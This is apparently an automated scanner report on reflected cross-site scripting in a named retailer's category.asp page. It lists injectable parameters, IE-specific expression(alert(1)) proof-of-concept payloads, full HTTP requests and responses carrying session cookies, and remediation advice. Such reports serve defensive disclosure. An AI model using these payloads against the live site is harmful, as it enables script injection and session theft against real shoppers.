The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the SID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 375c6"style%3d"x%3aexpression(alert(1))"c373c8f4ec4 was submitted in the SID parameter. This input was echoed as 375c6"style="x:expression(alert(1))"c373c8f4ec4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /category.asp?stchg=1&catId=28&iid=1868&SID=null375c6"style%3d"x%3aexpression(alert(1))"c373c8f4ec4&odserver=www.officedepot.com HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:55 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Content-Type: text/html Expires: Mon, 05 Mar 2012 01:33:55 GMT Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:54 GMT; path=/pro Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A55+PM; expires=Sat, 05-Mar-2022 01:34:54 GMT; path=/pro Set-Cookie: CustomerID=5N3JTX2GB7BR9MRJFDLB; expires=Sat, 05-Mar-2022 01:34:54 GMT; path=/pro Set-Cookie: ShopperManager%2Fs4s=ShopperManager%2Fs4s=HTL1URXP3GU19N4D9KQTKEM2P4Q87DLD; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/pro Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- Start Time i_BigHeader = 3/4/2012 8:34:55 PM -->
The value of the iid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba3d3"style%3d"x%3aexpression(alert(1))"8e018db4bd1 was submitted in the iid parameter. This input was echoed as ba3d3"style="x:expression(alert(1))"8e018db4bd1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /category.asp?stchg=1&catId=28&iid=1868ba3d3"style%3d"x%3aexpression(alert(1))"8e018db4bd1&SID=null&odserver=www.officedepot.com HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:53 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Content-Type: text/html Expires: Mon, 05 Mar 2012 01:33:53 GMT Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:52 GMT; path=/pro Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A53+PM; expires=Sat, 05-Mar-2022 01:34:52 GMT; path=/pro Set-Cookie: CustomerID=UVDRFVCVFB4U9JB7JB36; expires=Sat, 05-Mar-2022 01:34:52 GMT; path=/pro Set-Cookie: ShopperManager%2Fs4s=ShopperManager%2Fs4s=KN7SLK70B4478J8TV2T1SQR3V720FN37; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/pro Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- Start Time i_BigHeader = 3/4/2012 8:34:53 PM -->
2.3. http://www.techdepot.com/category.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.techdepot.com
Path:
/category.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4d6c"style%3d"x%3aexpression(alert(1))"88172474fbe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d4d6c"style="x:expression(alert(1))"88172474fbe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /category.asp?stchg=1&catId=28&iid=1868&SID=null&odserver=www.officedepot.com&d4d6c"style%3d"x%3aexpression(alert(1))"88172474fbe=1 HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:35:00 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN Connection: close Content-Type: text/html Expires: Mon, 05 Mar 2012 01:34:00 GMT Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:35:00 GMT; path=/pro Set-Cookie: LastVisit=3%2F4%2F2012+8%3A35%3A00+PM; expires=Sat, 05-Mar-2022 01:35:00 GMT; path=/pro Set-Cookie: CustomerID=UP226T0HQ74M9P0XVE8N; expires=Sat, 05-Mar-2022 01:35:00 GMT; path=/pro Set-Cookie: ShopperManager%2Fs4s=ShopperManager%2Fs4s=16F59064UD3K9H0TRCHL7CJTSEQ82LKB; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/pro Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- Start Time i_BigHeader = 3/4/2012 8:35:00 PM -->
The value of the odserver request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b12da"style%3d"x%3aexpression(alert(1))"ba355c5d482 was submitted in the odserver parameter. This input was echoed as b12da"style="x:expression(alert(1))"ba355c5d482 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /category.asp?stchg=1&catId=28&iid=1868&SID=null&odserver=www.officedepot.comb12da"style%3d"x%3aexpression(alert(1))"ba355c5d482 HTTP/1.1 Host: www.techdepot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Mon, 05 Mar 2012 01:34:58 GMT P3P: CP="CAO DSP COR CUR ADM TAI DEV PSA PSD OUR BUS NAV STA UNI PHY DEM PUR FIN" Connection: close Content-Type: text/html Expires: Mon, 05 Mar 2012 01:33:58 GMT Set-Cookie: ctype=B; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/ Set-Cookie: NumVisits=1; expires=Sat, 05-Mar-2022 01:34:58 GMT; path=/pro Set-Cookie: LastVisit=3%2F4%2F2012+8%3A34%3A58+PM; expires=Sat, 05-Mar-2022 01:34:58 GMT; path=/pro Set-Cookie: CustomerID=7DTMJJ3EPAK38G8WA3VA; expires=Sat, 05-Mar-2022 01:34:58 GMT; path=/pro Set-Cookie: ShopperManager%2Fs4s=ShopperManager%2Fs4s=P7WA9PQHQQNX9HTFF97EKBJGHBPT2317; expires=Tue, 01-Jan-2019 05:00:00 GMT; path=/pro Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- Start Time i_BigHeader = 3/4/2012 8:34:58 PM -->